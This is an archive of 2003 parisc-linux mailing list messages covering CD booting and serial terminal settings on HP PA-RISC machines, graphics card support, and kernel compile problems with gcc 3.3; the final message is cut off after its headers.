From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j0rd1 adame <jordi@jordi.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot from CD
Date: Fri, 6 Jun 2003 10:21:49 -0500
Organization: INFFINIX
Lines: 12
Approved: news@gmane.org
Message-ID: <200306061021.49486.jordi@jordi.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622501 26502 80.91.229.3 (22 Nov 2014 02:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  6 09:21:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from euclide (host-200-76-163-201.block.alestra.net.mx [200.76.163.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DA0D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jun 2003 09:21:40 -0600 (MDT)
Original-Received: from jadame
	([192.168.1.62] helo=192.168.1.62 ident=jordi)
	by euclide with esmtp (Exim 3.35 #1 (Debian))
	id 19OIv4-0003ZP-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 06 Jun 2003 10:14:18 -0500
User-Agent: KMail/1.5.9.1i
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18627

I know this must be a regular question... But i just can't find anywhere the 
info I need.


I got a HP 9000 D220, I HAVE NO PARISC experience, and i just can't find a way 
to boot that machine from CD (Debian).

Any help would be great

greets
j0rd1


From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j0rd1 adame <jordi@jordi.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [otro] [parisc-linux] Boot from CD
Date: Fri, 6 Jun 2003 10:41:29 -0500
Organization: INFFINIX
Lines: 23
Approved: news@gmane.org
Message-ID: <200306061041.29773.jordi@jordi.net>
References: <200306061021.49486.jordi@jordi.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622501 26506 80.91.229.3 (22 Nov 2014 02:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  6 09:41:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from euclide (host-200-76-163-211.block.alestra.net.mx [200.76.163.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8115B483D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jun 2003 09:41:21 -0600 (MDT)
Original-Received: from jadame
	([192.168.1.62] helo=192.168.1.62 ident=jordi)
	by euclide with esmtp (Exim 3.35 #1 (Debian))
	id 19OJE7-0003ah-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 06 Jun 2003 10:33:59 -0500
User-Agent: KMail/1.5.9.1i
In-Reply-To: <200306061021.49486.jordi@jordi.net>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18628

I just booted from CD using a Dumb terminal, but now i have the problem that 
my dumb terminal doesnt display anything but weird characters....

greets
j0rd1
On Friday 06 June 2003 10:21, j0rd1 adame wrote:
> I know this must be a regular question... But i just can't find anywhere
> the info I need.
>
>
> I got a HP 9000 D220, I HAVE NO PARISC experience, and i just can't find a
> way to boot that machine from CD (Debian).
>
> Any help would be great
>
> greets
> j0rd1
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian - Linux 3.0 on HP PA-RISC C360
Date: Fri, 6 Jun 2003 11:22:56 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20030606172256.GA17848@dsl2.external.hp.com>
References: <1EB1A4E066D0D411BD330008C79F06AE022EC52C@yang.tvlbg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622502 26549 80.91.229.3 (22 Nov 2014 02:15:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zlatan Jukic <zlatan.jukic@fh-vorarlberg.ac.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  6 11:22:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 954034829; Fri,  6 Jun 2003 11:22:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1EB1A4E066D0D411BD330008C79F06AE022EC52C@yang.tvlbg.ac.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18629

On Fri, Jun 06, 2003 at 02:33:14PM +0200, Zlatan Jukic wrote:
> My question is:  There is the possibility with these FX4 card the X-Windows
> system to start,

no.

> or must I insert another card (and which??) in order to
> start X-Windows? 

Yes. PCI Vis-EG or one of the HP GSC gfx card.

> I heard that Visualize FX4 run only under so-called "STICON",  unfortunately
> I do not know details also?!  

Yes. STICON supports "text" mode only.
Ie no frame buffer and thus no X11 support.

grant


From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rmscholz@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [otro] [parisc-linux] Boot from CD
Date: Fri, 06 Jun 2003 19:27:50 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3EE0CF16.3030402@gmx.de>
References: <200306061021.49486.jordi@jordi.net> <200306061041.29773.jordi@jordi.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622502 26554 80.91.229.3 (22 Nov 2014 02:15:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:02 +0000 (UTC)
To: j0rd1 adame <jordi@jordi.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  6 11:27:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2BDF04829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jun 2003 11:27:13 -0600 (MDT)
Original-Received: (qmail 21858 invoked by uid 65534); 6 Jun 2003 17:27:11 -0000
Original-Received: from IP-213157024116.dialin.heagmedianet.de (EHLO gmx.de) (213.157.24.116)
  by mail.gmx.net (mp009) with SMTP; 06 Jun 2003 19:27:11 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <200306061041.29773.jordi@jordi.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18630

Hi,

I have only a 715/100, but I think you have to setup the serial 
connection with 9600 baud. If  you try a faster connection you'll 
probably get these weird characters...

Greetings,
    Ruediger

j0rd1 adame schrieb:

>I just booted from CD using a Dumb terminal, but now i have the problem that 
>my dumb terminal doesnt display anything but weird characters....
>
>greets
>j0rd1
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>  
>




From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [otro] [parisc-linux] Boot from CD
Date: Fri, 06 Jun 2003 20:36:19 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <3EE0FB43.9030508@tiscali.be>
References: <200306061021.49486.jordi@jordi.net> <200306061041.29773.jordi@jordi.net> <3EE0CF16.3030402@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622503 26558 80.91.229.3 (22 Nov 2014 02:15:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:03 +0000 (UTC)
Cc: j0rd1 adame <jordi@jordi.net>,
	parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rmscholz@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  6 14:22:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC6994829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jun 2003 14:22:47 -0600 (MDT)
Original-Received: from [62.235.171.76] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19ONio-0003Bu-00; Fri, 06 Jun 2003 22:21:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <3EE0CF16.3030402@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18631

Rdiger Scholz wrote:

> Hi,
>
> I have only a 715/100, but I think you have to setup the serial 
> connection with 9600 baud. If  you try a faster connection you'll 
> probably get these weird characters...
>
Yes and you also have to change the seting of your terminal to emulate 
vt100 :-)

hth,
    Joel




From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: compiler & kernel (2)
Date: Fri, 06 Jun 2003 20:58:36 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <3EE1007C.3030904@tiscali.be>
References: <Pine.LNX.4.44.0306041917370.12360-300000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622503 26561 80.91.229.3 (22 Nov 2014 02:15:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:03 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  6 14:44:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25CCB4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jun 2003 14:44:18 -0600 (MDT)
Original-Received: from [62.235.171.76] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19OO4M-000409-00; Fri, 06 Jun 2003 22:44:14 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.44.0306041917370.12360-300000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18632

M. Grabert wrote:

>On Tue, 3 Jun 2003, Joel Soete wrote:
>
>  
>
>>Hi Max,
>>
>>    
>>
>>>Attachment: config-2.4.20-pa35-gcc-3.3
>>>
>>>      
>>>
>>32-bits first;
>>I test this config with gcc-3.3-2 and binutils 2.13.90.0.18-7 but I encounter
>>following pb:
>>
>>`gcc-3.3 -print-libgcc-file-name` /usr/src/linux-2.4.20-pa35/arch/parisc/lib/lib.a
>>
>>/usr/src/linux-2.4.20-pa35/lib/lib.a  \
>>        --end-group \
>>        -o vmlinux
>>drivers/net/wireless/wireless_net.o(.init.text+0x78): In function `init_orinoco_cs':
>>
>>    
>>
>Yes, I enabled PCMCIA specific bits in arch/parisc/config.in. I wanted
>to get a PCMCIA wireless network card working.
>Currently hppa doesn't give you the option to select PCMCIA, so you have
>to modify the config.in so that you can select it. Just copy the PCMCIA
>bits it from arch/i386/config.in to arch/parisc/config.in.
>
>OR simpler:
>
>Disable wireless network (orinoco, hermes, orinoco_cs etc.).
>  
>

Well finaly I reach to continue only some test.
I so choose this simpler solution to build 32 kernel with gcc-3.0 first 
and it compiles well (it took about 15min excluded modules).
I launch it on my b2k and it seems to works fine (any boot pb); I so use 
it to rebuild te same kernel with gcc-3.3.
It also compiles well (in about 12min).
But I notice something strange: runing a top in another xterm, I notice 
that swap was well on but absolutly not used where usually my kernel 
(near about debian std cfg) used about 20Mb of swap (with 256Mb of ram).
Is it a wanted behaviour? (config option?)

Thanks,
    Joel

PS: I do not yet reboot with this last kernel (on Tuesday :-) )



From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot from CD
Date: Sat, 7 Jun 2003 15:06:17 +0200
Organization: ESIEE
Lines: 53
Approved: news@gmane.org
Message-ID: <20030607150617.7231ea84.varenet@esiee.fr>
References: <200306061021.49486.jordi@jordi.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622503 26567 80.91.229.3 (22 Nov 2014 02:15:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: j0rd1 adame <jordi@jordi.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  7 07:07:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e137.dhcp212-198-142.noos.fr [212.198.142.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 984E24829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Jun 2003 07:07:03 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h57D6IxD007520;
	Sat, 7 Jun 2003 15:06:20 +0200
In-Reply-To: <200306061021.49486.jordi@jordi.net>
X-Mailer: Sylpheed version 0.8.11claws175 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18633

It's been a while we haven't seen that template around, heh?

1) is your friend, fwiw.

-----
This is a template message.

1) Read the PA-RISC/Linux Boot HOWTO
http://pateam.esiee.fr/doc.html

2) Read the FAQ
http://www.fr.parisc-linux.org/faq/

3) Read the parisc-linux mailing-list archive
http://www.fr.parisc-linux.org/mailing-lists/

4) Check the Hardware Database
http://hwdb.parisc-linux.org/

5) Check the supported machines list
http://pateam.esiee.fr/list.html

6) Read the "HOWTO Report a Kernel Bug"
http://www.fr.parisc-linux.org/faq/kernelbug-howto.html

7) Read the "HOWTO Build a PA-RISC/Linux Kernel"
http://www.fr.parisc-linux.org/kernel/

----
That template may grow as some questions will reappear :P



Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


On Fri, 6 Jun 2003 10:21:49 -0500
j0rd1 adame <jordi@jordi.net> wrote:

> I know this must be a regular question... But i just can't find anywhere
> the info I need.
> 
> 
> I got a HP 9000 D220, I HAVE NO PARISC experience, and i just can't find
> a way to boot that machine from CD (Debian).
> 
> Any help would be great
> 
> greets
> j0rd1


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compile error in 2.4.x and 2.5.x
Date: Sat, 7 Jun 2003 17:42:05 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20030607154205.GG30457@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="d5ZB48mKYG2jsBgL"
X-Trace: ger.gmane.org 1416622504 26572 80.91.229.3 (22 Nov 2014 02:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  7 09:42:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 048584829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Jun 2003 09:42:07 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id C68FD4AA25; Sat,  7 Jun 2003 17:42:05 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18634

--d5ZB48mKYG2jsBgL
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

I'm currently experiencing the following compile error:

gcc -D__ASSEMBLY__ -traditional -D__KERNEL__ -I/usr/src/packages/full_cvs/l=
inux-build-2.4/include  -c -o hpmc.o hpmc.S
gcc -D__ASSEMBLY__ -traditional -D__KERNEL__ -I/usr/src/packages/full_cvs/l=
inux-build-2.4/include  -c -o real2.o real2.S
real2.S: Assembler messages:
real2.S:126: Error: too many positional arguments
make[1]: *** [real2.o] Error 1
make[1]: Leaving directory `/usr/src/packages/full_cvs/linux-build-2.4/arch=
/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2

This is with:

jbglaw@b132l-1:/usr/src/packages/full_cvs/linux-build-2.4$ as -v
GNU assembler version 2.14.90.0.4 (hppa-linux) using BFD version 2.14.90.0.=
4 20030523 Debian GNU/Linux

jbglaw@b132l-1:/usr/src/packages/full_cvs/linux-build-2.4$ gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=3Dc,c++,f77,pascal,=
objc,ada,treelang --prefix=3D/usr --mandir=3D/usr/share/man --infodir=3D/us=
r/share/info --with-gxx-include-dir=3D/usr/include/c++/3.3 --enable-shared =
--with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_a=
texit --enable-sjlj-exceptions --enable-clocale=3Dgnu --enable-debug --enab=
le-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 (Debian)

MfG, JBG
PS: Up to now, I still can't find CVS repos or checkouts which where
previously available via rsync. cvs.p-l.org only has .tar.gz and some
diffs, and rsync.p-l.org only has some README in place which promises
anything has been moved to cvs.p-l.org - but the checked-out archives
are still missing:(

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--d5ZB48mKYG2jsBgL
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE+4gfMHb1edYOZ4bsRAk14AJ4wKqBb0uwSpuw/wdNjGQWF1Vt/HQCfZZTD
V6x876cBd39TVr4U2TAK8P8=
=Y8lk
-----END PGP SIGNATURE-----

--d5ZB48mKYG2jsBgL--


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compile error in 2.4.x and 2.5.x
Date: Sat, 7 Jun 2003 12:14:50 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200306071614.h57GEpnf006148@hiauly1.hia.nrc.ca>
References: <20030607154205.GG30457@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622504 26575 80.91.229.3 (22 Nov 2014 02:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jbglaw@lug-owl.de (Jan-Benedict Glaw)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  7 10:14:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
